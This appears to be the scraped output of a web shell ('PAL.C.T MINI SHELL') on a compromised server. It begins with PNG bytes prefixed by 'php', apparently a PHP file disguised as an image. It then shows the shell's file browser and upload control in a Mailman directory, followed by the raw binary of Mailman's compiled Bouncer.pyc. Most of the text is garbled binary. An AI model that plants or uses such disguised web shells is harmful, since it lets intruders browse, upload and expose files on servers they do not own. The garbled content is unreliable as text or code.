php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/Bouncer.pyc

Pc@sbdZddkZddkZddklZddklZddklZddk	l
Z
ddk	lZddk	lZdd	k	l
Z
dd
k	lZddklZddk	lZd
Zeie
idd ZdZhede
i6ede
i6ede
i6ede
i6ZeiZdddYZdddYZdS(sHandle delivery bounces.iN(t
StringType(tMIMEText(tMIMEMessage(tmm_cfg(tUtils(tMessage(t
MemberAdaptor(tPending(tsyslog(ti18ntiicCs|S(N((ts((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyt_*ssdue to excessive bouncessby yourselfsby the list administratorsfor unknown reasonst_BounceInfocBs#eZdZdZdZRS(cCs)||_d|_|i|||dS(N(tmembertNonetcookietreset(tselfRtscoretdatetnoticesleft((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyt__init__7s		cCs(||_||_||_t|_dS(N(RRRtZEROHOUR_PLUSONEDAYt
lastnotice(RRRR((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyR<s			cCsd|iS(Ns<bounce info for member %(member)s
        current score: %(score)s
        last bounce date: %(date)s
        email notices left: %(noticesleft)s
        last notice date: %(lastnotice)s
        confirmation cookie: %(cookie)s
        >(t__dict__(R((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyt__repr__Bs	(t__name__t
__module__RRR(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyR
6s		tBouncercBsGeZdZdddZdZdZdZddZRS(cCsvti|_ti|_ti|_ti|_ti	|_
ti|_ti
|_ti|_h|_h|_dS(N(RtDEFAULT_BOUNCE_PROCESSINGtbounce_processingtDEFAULT_BOUNCE_SCORE_THRESHOLDtbounce_score_thresholdtDEFAULT_BOUNCE_INFO_STALE_AFTERtbounce_info_stale_aftert(DEFAULT_BOUNCE_YOU_ARE_DISABLED_WARNINGSt bounce_you_are_disabled_warningst1DEFAULT_BOUNCE_YOU_ARE_DISABLED_WARNINGS_INTERVALt)bounce_you_are_disabled_warnings_intervalt.DEFAULT_BOUNCE_UNRECOGNIZED_GOES_TO_LIST_OWNERt&bounce_unrecognized_goes_to_list_ownert&DEFAULT_BOUNCE_NOTIFY_OWNER_ON_DISABLEtbounce_notify_owner_on_disablet&DEFAULT_BOUNCE_NOTIFY_OWNER_ON_REMOVALtbounce_notify_owner_on_removaltbounce_infotdelivery_status(R((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pytInitVarsPs	g?cCsT|i|pdS|i|}|djotid }nt|tp;t||||i}tdd|i	||i
n|i|ti
jotdd|i	|dS|i|jo0tdd|i	|tid|dnti|}ti|i}||i|jo3|i|||itdd	|i	|n8|i
|7_
||_tdd
|i	||i
|i
|ijostioRtdd|i	||i
|i|i|||id|i|iq,|i|||n|i|o|i||ndS(
Nitbounces%s: %s bounce score: %ss%s: %s residual bounce receiveds*%s: %s already scored a bounce for date %ss%d-%b-%Yiis'%s: %s has stale bounce info, resettings%s: %s current bounce score: %ss-sending %s list probe to: %s (score %s >= %s)(iiiiii(tisMembert
getBounceInfoRttimet	localtimet
isinstanceR
R%Rt
internal_nameRtgetDeliveryStatusRtENABLEDRtstrftimeRtmidnightR#RR!RtVERP_PROBESt	sendProbeRtdisableBouncingMembert
setBounceInfo(RRtmsgtweighttdaytinfotnowt
lastbounce((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pytregisterBounceisN
					

cCs|iti|i|}||_|i||tiotdd|i|n&tdd|i||i	|i
|i|ti
|i||io|i||ndS(NR1s-%s: %s disabling due to probe bounce receiveds-%s: %s disabling due to bounce score %s >= %s(tpend_newRt	RE_ENABLER7RR?RR<RRR!tsetDeliveryStatusRtBYBOUNCEtsendNextNotificationR+t_Bouncer__sendAdminBounceNotice(RRRCR@R((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyR>s	
		

cCsti|i}tidh|id6|d6dd6tdd6dd6dd	6|d
6d|}td}ti|i||d
|i	}|i
d|it|dti
|i	t|to|it|n|it||i|dS(Ns
bounce.txttlistnametaddrR
tnegativetdisabledtdidtbuttreenablet	owneraddrtmlistsBounce action notificationtlangsmultipart/mixedt_charset(Rtget_site_emailt	host_nametmaketextt	real_nameRRtUserNotificationt
GetOwnerEmailtpreferred_languagetset_typetattachRt
GetCharSetR6RRtsend(RRR@t	siteownerttexttsubjecttumsg((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyt__sendAdminBounceNotices,


		
c
Cs|i|}|djodS|i|}|idjo|i|dd|idd|i|i|ti	jot
dd|i|nt
dd	|i|hd
ti	6dti6dti
6d
ti6i|ddSd|iddd|if}|i|dd}|i}|i|}ti|}|djotd}n
t|}|ti	joAtidtiti|i}	td}
||
7}ntidh|id6|id6|d6|d6|i|d6|id6|d6d|d|}t i!||d|d|}|d =d!|i|d"<|i"||id8_tid# |_#|i$||dS($Nisdisabled addresstadmin_notiftuserackiR1s'%s: %s deleted after exhausting noticest	subscribes%%s: %s auto-unsubscribed [reason: %s]RJtBYUSERtBYADMINtUNKNOWNs
invalid values%s/%stconfirmtabsolutesfor unknown reasonss%d-%b-%Ys5 The last bounce received from you was dated %(date)ssdisabled.txtRMRt
confirmurlt
optionsurltpasswordRTtreasonRVRURdResconfirm tSubjecti(%R3RR8RtApprovedDeleteMemberR-tpend_confirmRRRJRR7RkRlRmtgettGetScriptURLt
GetOptionsURLtGetRequestEmailtgetMemberLanguagetREASONSRR4R:R5RR;RRZR[tgetMemberPasswordR]RR\RbRR?(
RRRCRsRpRqtreqaddrRVt	txtreasonRtextraRdR@((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyRKsh
				






	




c	Cs|i}|idtd}ti|ti|i}|djotd}nt|i}t	i
|i|i|d|i}|idt
|dti|i}|i||it||i|dS(NRes(no subject)s![No bounce details are available]RVsmultipart/mixedRW(t
get_senderRwRRtonelineRaR^RtnoticeRR\R]R_RR`RRb(	RR@tmsgdatatetsenderReRtbmsgttxt((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyt
BounceMessage s"	
	
	
N(	RRR0RRFR>RLRKR(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyROs	B		 	@(((t__doc__tsysR4ttypesRtemail.MIMETextRtemail.MIMEMessageRtMailmanRRRRRtMailman.Logging.SyslogRR	tEMPTYSTRINGR5tdaysRRRJRkRlRmR|R
R(((sX/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncer.pyt<module>s,		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`